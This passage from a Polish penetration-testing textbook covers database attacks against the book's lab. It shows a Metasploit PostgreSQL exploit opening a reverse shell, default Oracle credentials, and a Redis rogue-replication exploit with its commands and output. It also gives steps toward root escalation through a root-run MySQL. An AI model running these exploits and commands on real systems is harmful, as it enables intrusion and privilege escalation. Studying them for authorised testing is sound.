miast zgłoszone klientowi, dla którego pracujesz. Eksperymentując z klientem bazy danych Post-
greSQL, zauważysz, że działa on inaczej niż klient MySQL. Spróbuj zatem wprowadzić kilka in-
strukcji SQL, tak jak robiliśmy to w kliencie MySQL, aby nabrać wprawy w korzystaniu z klienta
PostgreSQL. W kolejnym kroku użyjemy exploitu z frameworku Metasploit, aby wyrwać się z sys-
temu bazy danych i przejść do systemu operacyjnego hosta.

Ucieczka z serwera baz danych

Udało Ci się już uzyskać dostęp do bazy danych, a potem poznać jej schemat oraz zawartość.
W kolejnym kroku można sprawdzić, czy istnieje sposób uwolnienia się od ograniczonego kontek-
stu bazy danych i przejścia do systemu operacyjnego, aby przynajmniej uzyskać dostęp do systemu
plików. Jednym ze sposobów na takie działanie jest poszukanie i wykorzystanie znanych już podat-
ności. Spróbuj użyć frameworku Metasploit, aby wyszukać exploity działające na wersję serwera
PostgreSQL, która funkcjonuje w laboratorium naszej książki.
Często używanym exploitem pozwalającym pominąć uwierzytelnianie w serwerze PostgreSQL jest
moduł postgres_payload. Ten moduł wykorzystuje lukę opisaną w dokumencie CVE-2007-3280,
która pozwala na wykorzystanie biblioteki libc (biblioteka używana przez programistów systemo-
wych języka C) w ramach funkcji definiowanych przez użytkownika. Exploit korzysta z możliwości
zapisywania plików w katalogu /tmp i konstruuje funkcję UDF z obiektów współdzielonych, które
odwołują się do biblioteki libc. Jak widać, współdzielone obiekty można wykorzystywać na różne
sposoby, a w tym przypadku pozwalają uzyskać dostęp do powłoki z uprawnieniami użytkow-
nika uruchamiającego bazę danych. W typowych systemach jest to użytkownik postgres lub
nobody. W systemach linuksowych to właśnie konta tych użytkowników są używane do urucha-
miania serwisu PostgreSQL.
Przed uruchomieniem modułu musisz pamiętać o konieczności przypisania wartości do opcji
RHOSTS i RPORT. Pamiętaj też o wybraniu odpowiedniego payloadu. Wybieranie payloadu ułatwia
polecenie show payloads. Upewnij się, że opcja LHOST ma przypisany adres IP Twojej maszyny wir-
tualnej Kali Linux. Przed uruchomieniem modułu nie zapomnij przejrzeć jego strony informa-
cyjnej i listy dostępnych opcji. Aby dowiedzieć się, jak działa ten exploit, przypisz opcji VERBOSE
wartość true. W ten sposób moduł będzie opisywał przeprowadzany atak, wyświetlając kolejne
uruchamiane polecenia SQL.
Zauważ, że w tym module opcje PASSWORD i USERNAME mają już domyślne wartości, które na do-
datek pasują do atakowanego serwera. To tylko potwierdza nasze wcześniejsze twierdzenie, że do-
myślne dane uwierzytelniające bardzo często nie są zmieniane przez administratorów systemów
i baz danych. Oto wyniki skutecznie przeprowadzonego ataku:
msf5 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.48.102:4444

[*] 192.168.56.104:5433 - PostgreSQL 9.1.2 on i686-pc-linux-gnu,
compiled by gcc-4.6.real (Debian 4.6.2-5) 4.6.2, 32-bit
[*] Uploaded as /tmp/eyfFxqsw.so, should be cleaned up automatically
[*] Sending stage (36 bytes) to 192.168.48.104

3681988c430c7fe1e8567c4e2f281f7b
3
382 Rozdział 11  Bazy danych

[*] Command shell session 2 opened (192.168.48.102:4444 ->

192.168.48.104:46580) at 2019-07-23 16:51:45 +0100

id
uid=106(postgres) gid=110(postgres) groups=110(postgres),109(ssl-cert)

Dzięki wykorzystaniu tej podatności za pomocą modułu frameworku Metasploit powinniśmy

uzyskać zdalny dostęp do powłoki hosta, na którym działa serwer PostgreSQL. Po wprowadzeniu
polecenia id można sprawdzić, jakiego użytkownika uprawnienia mamy w tym systemie. W na-
szym przykładzie widać, że jest to użytkownik postgres. Następnym krokiem powinno być zatem
podniesienie swoich uprawnień do poziomu użytkownika root. Pamiętaj o utworzeniu interaktyw-
nej sesji do sterowania zadaniami oraz dostępie do interfejsu TTY (użyj w tym celu polecenia
python -c ' import pty;pty.spawn("/bin/sh")'), jak również o przygotowaniu swojego profilu.
To niezbędne kroki przygotowujące do ataku podnoszącego uprawnienia. W dalszej części tego
rozdziału zaprezentujemy jeden z takich ataków.

Bazy danych Oracle Database

Firma Oracle oferuje całą gamę produktów bazodanowych (serwer MySQL jest jednym z nich),
wśród których znajduje się też system relacyjnych baz danych o nazwie Database (czasami nazy-
wany po prostu Oracle). Z pewnością każdy spotkał się już z nowszą już starszą wersję tej bazy
danych, które okryły się niesławą z powodu używania domyślnych kombinacji nazw użytkownika
oraz haseł często pozostawianych w niezmienionej formie przez administratorów. Wystarczy krót-
kie poszukiwanie w sieci, aby zdobyć listę takich domyślnych kombinacji nazw użytkowników
i haseł. W tabeli 11.1 przedstawiamy wycinek większej listy takich kombinacji, które pobraliśmy
z oficjalnej dokumentacji serwera Oracle9i Database dostępnej pod adresem docs.oracle.com.

Tabela 11.1. Domyślne nazwy użytkowników i hasła serwera Oracle Database

NAZWA UŻYTKOWNIKA HASŁO

SYSTEM MANAGER
SYS CHANGE_ON_INSTALL
ANONYMOUS ANONYMOUS
CTXSYS CTXSYS
DBSNMP DBSNMP
LBACSYS LBACSYS
MDSYS MDSYS
SCOTT TIGER
XDB CHANGE_ON_INSTALL

Wiele z tych kont jest automatycznie wyłączanych, ale zawsze aktywne pozostają konta SYS,
SYSTEM, SCOTT i BDSNMP. Zmianę haseł przypisanych do tych kont pozostawiono jako zadanie dla
administratora, a to oznacza, że w wielu przypadkach te hasła pozostają niezmienione. W firmie

3681988c430c7fe1e8567c4e2f281f7b
3
Bazy danych Oracle Database 383

Hacker House jeszcze nie widzieliśmy serwera Oracle Database, do którego nie udało się nam uzy-
skać dostępu za pomocą jednej z domyślnych kombinacji nazw użytkownika i hasła!
Oracle wykorzystuje serwis TNS, który umożliwia interakcję z bazą danych i działa na porcie
TCP 1521. W wynikach skanowania portów ten serwis opisywany jest tak jak poniżej, ponieważ
przedstawia się jako starsza instancja serwera Oracle 9i:
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0

Interakcja z nasłuchującym serwisem TNS wymaga użycia narzędzia o nazwie tnscmd10g.

W przypadku starszych wersji może być konieczne wykorzystanie skryptu w języku Perl: tnscmd.pl.
Programy tnscmd10g i tnscmd.pl są już zainstalowane w systemie Kali Linux i można je wykorzy-
stywać do wysyłania do serwisu TNS poleceń, które umożliwiają przeglądanie konfiguracji bazy
danych. Do ustanowienia połączenia z bazą danych Oracle często wymagane jest enumerowanie
wartości SID (System ID), które są identyfikatorami przypisywanymi poszczególnym bazom da-
nych obsługiwanych na danym hoście. Pamiętaj jednak, że dość często wykorzystywane są pewne
domyślne wartości SID, takie jak TSH1.
Pewnym rodzajem zabezpieczenia podejmowanego przez wielu administratorów baz danych
Oracle jest zmiana nazwy lub całkowite usunięcie domyślnych wartości SID, co ma uniemożliwiać
połączenie atakującemu hakerowi. Niestety takie działanie niczego nie zabezpiecza. Jeżeli natkniesz
się na tak skonfigurowany serwer Oracle, w którym nie możesz znaleźć poprawnej wartości SID,
musisz skorzystać z narzędzi enumerujących wartości SID, które są dostępne we frameworku
Metasploit. W takich przypadkach nie mamy nawet możliwości próbować uwierzytelniania w ser-
werze bazy danych. Jeżeli moglibyśmy skorzystać z domyślnej lub poprawnej wartości SID, to da-
łoby się użyć niedziałającego już narzędzia napisanego w języku Java, o nazwie oscanner, które au-
tomatyzuje proces wypróbowywania domyślnych haseł w serwerze. Wspomniane narzędzie można
znaleźć w repozytorium systemu Kali Linux, ale można też użyć kilku modułów z frameworku
Metasploit, które realizują to samo zadanie.
Poniżej prezentujemy przykład działania programu oscanner wykonującego enumerację dla
domyślnych kont SCOTT, SYS, SYSTEM i DBSNMP:
root # ./oscanner.sh -s 192.168.56.22 -P 1521
Oracle Scanner 1.0.6 by patrik@cqure.net
--------------------------------------------------
[-] Checking host 192.168.56.22
[-] Checking sid (TSH1) for common passwords
[-] Account CTXSYS/CTXSYS is locked
[-] Account DBSNMP/DBSNMP found
[-] Enumerating system accounts for SID (TSH1)
[-] Successfully enumerated 29 accounts
[-] Account HR/HR is locked
[-] Account MDSYS/MDSYS is locked
[-] Account OE/OE is locked
[-] Account OLAPSYS/MANAGER is locked
[-] Account ORDPLUGINS/ORDPLUGINS is locked
[-] Account ORDSYS/ORDSYS is locked
[-] Account OUTLN/OUTLN is locked
[-] Account PM/PM is locked
[-] Account QS/QS is locked
[-] Account QS_ADM/QS_ADM is locked
[-] Account QS_CB/QS_CB is locked
[-] Account QS_CBADM/QS_CBADM is locked

3681988c430c7fe1e8567c4e2f281f7b
3
384 Rozdział 11  Bazy danych

[-] Account QS_CS/QS_CS is locked

[-] Account QS_ES/QS_ES is locked
[-] Account QS_OS/QS_OS is locked
[-] Account QS_WS/QS_WS is locked
[-] Account SCOTT/TIGER found
[-] Account SH/SH is locked
[-] Account WKSYS/WKSYS is locked
[-] Checking user supplied passwords against sid (TSH1)
[-] Checking user supplied dictionary
[-] Account SYS/SYS found
[-] Account SYSTEM/SYSTEM found
[-] Account WMSYS/WMSYS is locked
[-] Account XDB/XDB is locked
[-] Account WKPROXY/WKPROXY is locked
[-] Account ODM/ODM is locked
[-] Account ODM_MTR/ODM_MTR is locked

Po wykryciu nasłuchującego serwisu TNS pierwszym krokiem w pracy z bazą danych Oracle
będzie wyszukanie poprawnej wartości SID za pomocą programu tnscmd lub modułu z frame-
worku Metasploit. Po uzyskaniu wartości SID można rozpocząć testowanie standardowych kont.
Gdy uda się znaleźć jedną z kombinacji domyślnych kont, można przystąpić do włamania na ten
serwer baz danych, podobnie jak robiliśmy to z serwerem MySQL. Tutaj konieczny będzie klient
baz danych Oracle (taki jak Oracle Instant Client, który nie jest dostępny bezpłatnie, ale jest jednym
z najczęściej używanych klientów). Przejrzyj schemat bazy danych, przyjrzyj się jej zawartości, spró-
buj podnieść swoje uprawnienia, a potem sprawdź, czy nie da się przejść do systemu operacyjnego.
Taka ucieczka do systemu operacyjnego jest możliwa w serwerach Oracle z włączoną funkcją ob-
sługi języka Java. Ta sztuczka działa podobnie jak dowolny inny exploit korzystający z funkcji UDF.
Wymagane jest przygotowanie specjalnego kodu, który po umieszczeniu na serwerze da nam
dostęp do powłoki.
Bazy danych Oracle słyną z tego, że można w nich podnieść swoje uprawnienia poprzez wstrzy-
kiwanie poleceń P/SQL do funkcji stosowanych w domyślnych procedurach składowanych, co prze-
kształca konta nieadministracyjne w pełnoprawne konta administratorów baz danych. Na temat
luk w zabezpieczeniach systemów baz danych Oracle można napisać osobną książkę (David Litch-
field już to zrobił), co znajduje odzwierciedlenie w liczbie różnych metod stosowanych w istnieją-
cych exploitach. Z doświadczenia firmy Hacker House wynika, że nie znalazła się jeszcze instalacja
serwera Oracle, do której nie udało się nam włamać. Wynika to ze stosowania domyślnych kont
systemu oraz z wielkiej dostępności różnych ataków podnoszących uprawnienia, które korzystają
z domyślnych funkcji serwera oraz różnych procedur składowanych.
Zaprezentowaliśmy tutaj podstawowe kroki, jakie należy wykonać po wykryciu serwisu TNS.
Warto jednak zainstalować sobie własną kopię serwera Oracle 9i lub Oracle 10g i wypróbować na
nich bardziej zaawansowane techniki podnoszenia uprawnień, które są możliwe dzięki wykorzy-
staniu funkcji przechowywanych w samym serwerze. Setki przykładów można znaleźć na stronie
Exploit Database (www.exploit-db.com) i dotyczą one zwykle wcześniejszych wersji serwera. Na stro-
nie znajdują się też podziękowania dla Davida Litchfielda za wykrycie większości z opisywanych
tam luk. Jeżeli w systemie z serwerem Oracle zainstalowana jest też maszyna wirtualna Javy, to często
istnieje możliwość przesłania na serwer własnych funkcji napisanych w języku Java i w ten sposób
zyskania prawa do wykonywania poleceń w systemie operacyjnym hosta.

3681988c430c7fe1e8567c4e2f281f7b
3
MongoDB 385

MongoDB
MongoDB (www.mongodb.com) jest serwerem zaprojektowanym tak, żeby wykorzystał zalety no-
woczesnych technologii umożliwiających szybki dostęp do obiektów znajdujących się w pamięci.
Niestety często jest konfigurowany tak, że nie wymaga podania hasła. Złośliwi hakerzy w internecie
korzystają ze skryptów wyszukujących takie niezabezpieczone bazy danych, które dodatkowo są
dostępne na publicznym adresie IP. Po znalezieniu wykonują kopię całej bazy danych, a następnie
usuwają z niej wszystkie dane. Na zakończenie tworzą pojedynczą tabelę zawierającą informacje
dotyczące opłacenia okupu (w bitcoinach lub innej kryptowalucie) w celu odzyskania danych. Nie-
stety takie przypadki często przytrafiają się młodym firmom i start-upom, które dopiero zaczynają
swoją przygodę w internecie. Być może szybki rozwój firmy nie sprzyja odpowiedniemu zabezpie-
czaniu firmowych systemów. Interakcję z bazami danych NoSQL można prowadzić za pośrednic-
twem ciekawych interfejsów WWW lub specjalnych API. Na przykład w przeprowadzonym wcze-
śniej skanowaniu programem Nmap można zauważyć, że wykryta została usługa MongoDB http
console działająca na porcie TCP 28017. Wpisanie adresu tej usługi w przeglądarce pozwoli uzy-
skać dodatkowe informacje na temat instancji serwera MongoDB. Użytkowanie bazy danych Mon-
goDB jest naprawdę proste. Dzięki temu, że takie serwery są często użytkowane bez podawania
hasła, stają się też atrakcyjnym celem dla złodziei poszukujących łatwego łupu.

Redis
Redis to kolejny system baz danych NoSQL, który świetnie korzysta z możliwości dzisiejszych kom-
puterów, aby umożliwiać bardzo szybki dostęp do danych. Serwery Redis są wyjątkowo dobrym
celem ataków siłowych ze względu na możliwość superszybkiego dostępu do nich. Nawet jeżeli są
chronione hasłami, to pozwalają na wypróbowywanie tysięcy różnych haseł na sekundę. Program
Hydra ma specjalny moduł umożliwiający prowadzenie takich ataków; możesz go wypróbować
przeciwko laboratorium naszej książki. Możesz też samodzielnie zainstalować serwer Redis we wła-
snej maszynie wirtualnej, aby sprawdzić, jak szybko uda Ci się zgadnąć hasło do takiego serwera.
Redis to kolejny przykład systemu baz danych NoSQL, który do przechowywania danych
używa pamięci operacyjnej komputera, a nie systemu plików. Nawet jeżeli w konfiguracji serwera
znalazła się dyrektywa AUTH, to i tak można skutecznie przeprowadzać na nim ataki siłowe. Jeżeli
jednak w konfiguracji nie ma tej dyrektywy, to dostępu do serwera nie chroni żadne hasło. Może
się zatem okazać, że Twój klient używa bazy danych Redis w sieci wewnętrznej i nie wymaga uwie-
rzytelniania przy dostępie do niej.

OCHRONA HASŁEM W SERWERZE REDIS

Jeden z naszych klientów twierdził, że nie zdefiniował hasła do serwera Redis głównie dlatego,
że nie ma to sensu z powodu szybkości, z jaką można je odgadnąć metodami siłowymi. Poza tym
serwer działał w bezpiecznym środowisku w niezależnym segmencie sieci. Na pierwszy rzut oka taka
argumentacja zdaje się bronić, ale nigdy nie zalecamy swoim klientom pomijania wymogu uwie-
rzytelniania, jeżeli tylko istnieje taka możliwość. To prawda, że serwer Redis z powodu swojej kon-
strukcji pozwala na stosowanie bardzo szybkich ataków siłowych, ale przygotowanie odpowied-
nio długiego i złożonego hasła sprawi, że przeprowadzenie takiego ataku dla typowego hakera
okaże się czymś nieosiągalnym. Nawet w dokumentacji serwera znajduje się poniższa porada:

3681988c430c7fe1e8567c4e2f281f7b
3
386 Rozdział 11  Bazy danych

Ze względu na bardzo wysoką wydajność pracy serwera Redis możliwe jest rów-
noległe wypróbowywanie wielu różnych haseł w bardzo krótkim czasie. Upewnij się zatem,
że stosujesz silne i bardzo długie hasło, aby zminimalizować szansę powodzenia takiego ataku.

Baza danych Redis zapewne może być używana przez aplikację sieciową, która jednak musi wtedy
„znać” hasło dostępu. Takiego hasła nie muszą używać i pamiętać pracownicy firmy. Bazy danych
Redis są często używane do przechowywania informacji o sesjach użytkowników aplikacji siecio-
wych. Te same aplikacje mogą jednocześnie używać baz danych MySQL i przechowywać w nich
notki na blogu, zdjęcia oraz komentarze użytkowników. Jednak zastosowanie szybkiej bazy danych
NoSQL pozwala na znaczne poprawienie wydajności, ponieważ ten rodzaj baz umożliwia szybki
dostęp do danych potrzebnych natychmiast, takich jak informacje o sesjach użytkowników. Tokeny
sesji są często aktualizowane — przy każdym logowaniu użytkownika albo w momencie, gdy dana
sesja się przedawnia, a serwer Redis doskonale nadaje się do wykonywania tych operacji.
Baza danych Redis ma swojego klienta działającego w wierszu poleceń — redis-cli. Dobrze
jest zapoznać się z jego działaniem i używać go za każdym razem, gdy natkniesz się na działający
serwer Redis.
W wersjach serwera Redis od 4.x do 5.0.5 istnieje podatność umożliwiająca wykorzystanie funk-
cji UDF, dzięki której atakujący, który ma już dostęp do serwera, może wykorzystać funkcje repli-
kacji serwera. W ten sposób może przygotować fałszywy serwer Redis i zmusić atakowaną bazę
danych do połączenia się z nim, aby załadować złośliwy kod. Po ustanowieniu tego połączenia zło-
śliwa instancja serwera Redis nakazuje łączącej się z nią instancji atakowanego serwera pobrać plik
.so zawierający spreparowany kod. Ten typ ataku wymaga, żeby atakowany serwer Redis połączył
się ze złośliwym serwerem poprzez port TCP i rozpoczął proces replikacji przy użyciu funkcji MO-
DULE LOAD. Istnieje już kilka exploitów wykorzystujących tę podatność, a część z nich można znaleźć
we frameworku Metasploit. Każdy z tych exploitów wymaga od nas przygotowania współdzie-
lonej biblioteki, która musi być skompilowana dla architektury zgodnej z architekturą atako-
wanego serwera. Laboratorium naszej książki również jest podatne na ten rodzaj ataku, a działa
w 32-bitowej architekturze x86. W naszych przykładach skorzystamy z exploitu dostępnego na
GitHubie (github.com/vulhub/redis-rogue-getshell), ponieważ moduły dostępne we frameworku
Metasploit nie działają na systemy 32-bitowe. Co więcej, ten atak musi zostać przeprowadzony
z 32-bitowej maszyny wirtualnej z systemem Linux, dlatego w tym celu musisz pobrać obraz ISO
32-bitowej wersji systemu Kali Linux. Na początek pobierz jednak sam exploit za pomocą programu
wget, używając adresu www.hackerhousebook.com/files/redis-rogue-getshell.tgz. Pobrany plik trzeba naj-
pierw rozkompresować, a następnie rozpakować archiwum i skompilować współdzieloną biblio-
tekę, której później użyjemy w ramach ataku. Całość działań zawiera się w poniższych poleceniach:
tar -xvzf redis-rogue-getshell.tgz
cd redis-rogue-getshell
make -C RedisModulesSDK/

W efekcie w katalogu RedisModulesSDK powinien powstać plik exp.so. Podczas replikowania

bazy danych zostanie on załadowany przez serwer Redis za pomocą polecenia MODULE LOAD. Sam
proces replikacji przeprowadzany jest przez skrypt języka Python o nazwie redis-master.py. Aby
uruchomić ten exploit, trzeba skryptowi podać kilka parametrów w sposób pokazany poniżej:
python3 redis-master.py -r <AdresIP> -L <AdresIP_VM> -f RedisModulesSDK/
exp.so -a <hasło> -c <polecenie>

3681988c430c7fe1e8567c4e2f281f7b
3
Podnoszenie uprawnień za pomocą bazy danych 387

Jeżeli uruchomiony w ten sposób atak się powiedzie, to na ekranie powinny pojawić się komu-
nikaty podobne do poniższych. Zwróć uwagę na wyróżnione tu polecenia, które są uruchamiane
w atakowanym systemie.
>> send data: b'*2\r\n$4\r\nAUTH\r\n$5\r\nredis\r\n'
>> receive data: b'+OK\r\n'
>> send data:
b'*3\r\n$7\r\nSLAVEOF\r\n$14\r\n192.168.11.137\r\n$5\r\n21000\r\n'
>> receive data: b'+OK\r\n'
>> send data:
b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.
so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'*1\r\n$4\r\nPING\r\n'
>> receive data:
b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
>> receive data:
b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\
npsync2\r\n'
>> receive data:
b'*3\r\n$5\r\nPSYNC\r\n$40\r\n0fc8cac7421420dd698fa69f27296cce640e1e91\
r\n$1\r\n1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data:
b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.
rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$11\r\nid;uname -a\r\n'
>> receive data: b'$125\r\nuid=116(redis) gid=123(redis)
groups=123(redis)\nLinux hacklab01 3.16.0-4-586 #1 Debian 3.16.36-1
(2016-07-04) i686 GNU/Linux\n\r\n'
uid=116(redis) gid=123(redis) groups=123(redis)
Linux hacklab01 3.16.0-4-586 #1 Debian 3.16.36-1 (2016-07-04) i686 GNU/Linux

>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'

>> receive data: b'+OK\r\n'

Podnoszenie uprawnień za pomocą bazy danych

Przyjrzyjmy się teraz przykładowej sytuacji, gdy uzyskujemy uprawnienia użytkownika root w sys-
temie, w którym wcześniej udało się wydostać z systemu bazy danych albo w którym użyliśmy wstrzy-
kiwania poleceń, co dało nam dostęp do interaktywnej powłoki. Będziemy tutaj kontynuować sce-
nariusz, w którym uzyskaliśmy dostęp do systemu z prawami użytkownika postgres, wykorzystując do
tego błąd CVE-2007-3280. Jeszcze raz skorzystamy z tej samej podatności, ale tym razem połączymy
to ze źle skonfigurowanym systemem bazy danych, aby uzyskać uprawnienia użytkownika root.
Na tym etapie możemy sprawdzić wersję jądra systemu, używając polecenia uname -a albo mo-
żemy przeszukać lokalne pliki, korzystając z takiego skryptu jak linux-privsec-check. W ramach
tego ćwiczenia zajmiemy się jednak innym systemem relacyjnych baz danych, który również działa
na tym samym hoście — MySQL.

3681988c430c7fe1e8567c4e2f281f7b
3
388 Rozdział 11  Bazy danych

Po uruchomieniu exploitu postgres_payload związanego z błędem CVE-2007-3280 (omawia-

liśmy go już wcześniej) i rozbudowaniu powłoki o dostęp do kontroli zadań oraz interfejsu TTY
uzyskasz znak zachęty podobny do poniższego. Nie możesz też zapomnieć o przygotowaniu swo-
jego profilu, aby skonfigurować ścieżki w systemie.
postgres@dbserver01:/var/lib/postgresql/9.1/main$

Jeżeli tylko uda Ci się uzyskać dostęp do powłoki linuksowego hosta, możesz użyć prostego,
choć bardzo użytecznego polecenia ps -aef. Zgodnie z informacjami dostępnymi na stronie pod-
ręcznika tego programu „zwraca on zrzut stanu aktualnego zbioru procesów”. Oznacza to, że mo-
żemy sprawdzić, jakie procesy działają na hoście, do którego właśnie się włamaliśmy. Jeżeli który-
kolwiek z tych procesów działa z uprawnieniami użytkownika root i choć jeden z nich należy do
serwisu, z którego możesz skorzystać, to na pewno warto sprawdzić, czy istnieje jakaś możliwość
zaatakowania tego serwisu.
Poniżej przedstawiam wycinek informacji wypisywanych przez polecenie ps uruchomione na
hoście z podatnym serwerem baz danych. Zauważ, że kilka procesów bazy danych działa z upraw-
nieniami różnych użytkowników Linuksa. Spójrz jednak na pierwszą pozycję tej listy. Ten proces
został uruchomiony przez użytkownika mongodb, ma identyfikator (PID) 837, a do jego uruchomie-
nia użyto polecenia /usr/bin/mongod --config/etc/mo. Z tego można wywnioskować, że mamy tu
do czynienia z demonem serwera MongoDB, ale poza tym nie widać tu nic podejrzanego.
UID PID PPID C STIME TTY TIME CMD
mongodb 837 1 0 15:43 ? 00:00:06 /usr/bin/mongod --config/etc/mo
www-data 925 922 0 15:43 ? 00:00:00 /usr/sbin/apache2 -k start
root 1038 1 0 15:43 ? 00:00:00 /usr/sbin/cron
redis 1072 1 0 15:43 ? 00:00:01 /usr/bin/redis-server /etc/redis
postgres 1101 1 0 15:43 ? 00:00:02 /usr/lib/postgresql/9.1/bin/post
root 1109 1 0 15:43 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 1151 1109 0 15:43 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr
root 1152 1109 0 15:43 ? 00:00:00 logger -p daemon.err -t mysqld_s
postgres 1173 1101 0 15:43 ? 00:00:00 postgres: writer process
postgres 1174 1101 0 15:43 ? 00:00:00 postgres: wal writer process

Zwróć też uwagę na fakt, że trzy procesy działają z uprawnieniami użytkownika root, a polece-
nie użyte do ich uruchomienia zawiera słowo mysql, co wskazuje na demona MySQL. Oznacza to,
że działająca na tym hoście instancja serwera MySQL działa z uprawnieniami linuksowego użyt-
kownika root. To naprawdę poważny problem, ponieważ ktoś, kto zdołałby przejąć kontrolę nad
procesem serwera MySQL, może łatwo uzyskać uprawnienia użytkownika root. Wcześniej widzie-
liśmy, że serwer PostgreSQL działający z prawami użytkownika postgres dał nam dostęp do powłoki
z prawami tego samego użytkownika. Jeżeli udałoby się znaleźć podatność w serwisie MySQL, to jej
wykorzystanie dałoby nam dostęp do powłoki z prawami użytkownika root. Oznacza to, że podczas
uruchamiania demona wykorzystywany jest użytkownik root, a nie specjalizowane konto użytkow-
nika (takie jak mysql), które umożliwiłoby działanie serwera z ograniczonym zakresem uprawnień.
Ten sposób pracy był przez wiele lat domyślny dla serwerów MySQL i MariaDB. Dopiero względ-
nie niedawno wymuszono zmianę działania serwera z prawami konta ograniczonego użytkownika.
Powodem tak nagłej zmiany było pojawienie się i popularyzacja metody zwiększania uprawnień
atakującego za pośrednictwem różnych serwerów WWW. Atakujący mógł przejąć serwer WWW
za pomocą dowolnego ataku wstrzykiwania poleceń, uzyskując dostęp do hosta z prawami użyt-
kownika www lub nobody. Następnie atak kierowany był na serwer baz danych MySQL, aby uzyskać

3681988c430c7fe1e8567c4e2f281f7b
3
Podnoszenie uprawnień za pomocą bazy danych 389

uprawnienia użytkownika root na hoście z tym serwisem. To z powodu powszechnego korzystania

z tej metody przez hakerów serwery MariaDB i MySQL dzisiaj instalowane są domyślnie z prawami
użytkownika o ograniczonych uprawnieniach. Mimo to nadal zdarzają się administratorzy, który
nadają serwerowi baz danych prawa użytkownika root, mimo że ten wcale ich nie potrzebuje.
Teraz wykorzystamy tę błędną konfigurację serwera, ręcznie używając exploitu związanego
z funkcjami UDF. Pozwoli nam to lepiej zrozumieć, w jaki sposób Metasploit umożliwił nam uzy-
skanie dostępu do powłoki za pośrednictwem serwera PostgreSQL. Skoro już wiemy, czego poszu-
kujemy w wynikach polecenia ps, możemy przesłać je potokiem do programu grep, który zawęzi
nam zbiór wyników. Można to zrobić na przykład tak:
ps -aef | grep root

Wcześniej w tym rozdziale używaliśmy bazy danych za pomocą konta bazoda-

nowego użytkownika root. Pamiętaj, że to konto nie jest tożsame z kontem użytkownika
root systemu operacyjnego istniejącym w systemach linuksowych i uniksowych.

Aby zadziałał kolejny z prezentowanych exploitów, musisz mieć możliwość odczytywania i za-
pisywania danych w katalogu /tmp w atakowanym systemie. Wiele exploitów korzysta z tego kata-
logu, ponieważ zwykle każdy użytkownik może w nim zapisywać i odczytywać pliki. Zapisywanie
można wykonać za pośrednictwem serwera baz danych, ale dla uproszczenia zrobimy to bezpo-
średnio z powłoki.
Zmień aktualny katalog za pomocą polecenia cd /tmp, a następnie spróbuj w nim utworzyć plik
poleceniem touch foo. Możesz teraz sprawdzić uprawnienia tego pliku, używając polecenia ls -l
foo. Jak można się spodziewać, utworzony plik należy do użytkownika postgres. Poza tym jedynie
ten użytkownik ma prawo odczytywać i zapisywać do tego pliku, co może być problemem, jeżeli
miałby z niego skorzystać inny proces. Na szczęście możesz użyć polecenia umask, aby zdefiniować
domyślne uprawnienia nadawane plikom tworzonym przez określonego użytkownika (a dokład-
niej przez aktualny proces). To polecenie zmienia maskę trybu tworzonego pliku (ang. file mode
creation mask), a to właśnie ta maska definiuje uprawnienia wszystkich nowo tworzonych plików.
Wpisz zatem polecenie umask 111, które przypisze parametrowi umask użytkownika postgres
wartość 0111 (wiodącego zera nie trzeba podawać przy definiowaniu maski, podobnie jak nie trzeba
tego robić w poleceniu chmod). Teraz użyj polecenia touch foo2, aby utworzyć plik foo2. Sprawdź
też uprawnienia nowo utworzonego pliku. Zobaczysz, że tym razem wszyscy użytkownicy mogą
zapisywać i odczytywać ten plik, ponieważ otrzymał on uprawnienia 666. Jak widać, maska trybu
tworzonego pliku rzeczywiście jest maską. Nie definiuje ona samych wartości uprawnień dla no-
wych plików, ale jest używana w operacjach logicznych generujących te wartości. Ważne jest, żeby
serwer MySQL miał możliwość odczytywania i zapisywania plików, które utworzymy w katalogu
/tmp. Wkrótce dowiesz się, dlaczego to takie ważne. Zazwyczaj parametrowi umask przypisywana
jest wartość 077, dzięki której tworzone pliki mogą być odczytywane i zapisywane wyłącznie przez
ich właściciela. Nieco częściej stosowana jest maska 022, która umożliwia odczytywanie plików
wszystkim użytkownikom systemu. Standardowo lepiej jest zatem przypisać użytkownikowi
postgres wartość maski 022.
Teraz użyjemy kodu napisanego w języku C, który można pobrać z adresu www.hackerhousebook.
com/files/raptor_udf2.c. Ten program został napisany przez włoskiego hakera — Marco Ivaldiego.
Jeden z autorów tej książki przez lata ścigał się z nim o to, kto szybciej przygotuje kolejny exploit.

3681988c430c7fe1e8567c4e2f281f7b
3
390 Rozdział 11  Bazy danych

Marco jest ekspertem od systemów Solaris i jest autorem wielu exploitów o doskonałej jakości.
Na pewno warto poświęcić czas na przejrzenie jego prac, bo to doskonały materiał do nauki.
Uruchom w jednym oknie terminala otwartą sesję frameworku Metasploit, a w kolejnym oknie
(lub karcie) pobierz kod exploitu do maszyny wirtualnej Kali Linux. Sam exploit będzie trzeba jesz-
cze przenieść z systemu Kali Linux na atakowany host. Tym razem spróbujemy wykorzystać moduł
SimpleHTTPServer napisany w Pythonie, który można uruchomić w systemie Kali Linux. Uruchom
go w tym samym katalogu, w którym znalazł się pobrany wcześniej plik raptor_udf2.c:
python -m SimpleHTTPServer

Na ekranie powinien pojawić się taki komunikat:

Serving HTTP on 0.0.0.0 port 8000 ...

Teraz masz już serwer WWW nasłuchujący na porcie 8000 w systemie Kali Linux. Tego serwera
możesz używać do przesyłania plików w ramach wewnętrznej sieci VirualBoksa, na przykład do
